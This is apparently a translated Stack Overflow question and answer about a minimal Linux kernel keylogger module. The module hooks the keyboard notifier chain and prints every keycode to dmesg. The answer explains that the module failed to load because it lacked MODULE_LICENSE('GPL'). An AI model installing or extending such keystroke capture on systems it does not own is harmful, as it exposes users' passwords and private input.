4

次のコード (最後に貼り付けたもの) は、主にhereから取得したもので、キーロガーとして機能する非常に単純なカーネル モジュールです。コンパイルして .ko を生成することはできますが、ロードしようとすると、dmesg で次のエラーが発生します。

[  790.833828] keylogger: Unknown symbol unregister_keyboard_notifier (err 0)
[  790.833846] keylogger: Unknown symbol register_keyboard_notifier (err 0)

ソースからカーネルをビルドしたわけではありませんが、archlinux で提供されているストック カーネルを使用しています。ただし、モジュールをコンパイルするために kernel-headers パッケージをインストールしました。

私の質問は、これらの 2 つのシンボルがインストール済みのカーネルに本当に見つからないということですか? もしそうなら、なぜ彼らは正しくリンク(?)していないのですか?

シンボルが存在するという証拠を見つけることができます。まず、 に記号が表示され/proc/kallsymsます。また、そうすると、nm /usr/src/vmlinuxこれらの 2 つのシンボルも表示されます。それらは同じではありませんか?

モジュールコード:

#include <linux/module.h>   /* Needed by all modules */
#include <linux/keyboard.h>

EXPORT_SYMBOL_NOVERS(unregister_keyboard_notifier);
EXPORT_SYMBOL_NOVERS(register_keyboard_notifier);

int hello_notify(struct notifier_block *nblock, unsigned long code, void *_param) {
    struct keyboard_notifier_param *param = _param;
    struct vc_data *vc = param->vc;

    int ret = NOTIFY_OK;

    if (code == KBD_KEYCODE) {
        printk(KERN_DEBUG "KEYLOGGER %i %s\n", param->value, (param->down ? "down" : "up"));
    }
}

static struct notifier_block nb = {
    .notifier_call = hello_notify
};

static int hello_init(void)
{
    register_keyboard_notifier(&nb);
    return 0;
}

static void hello_release(void)
{
    unregister_keyboard_notifier(&nb);
}

module_init(hello_init);
module_exit(hello_release);
4

1 に答える 1

4

モジュール ソースに以下を追加する必要がありました。

MODULE_LICENSE("GPL");
于 2012-11-20T05:43:23.153 に答える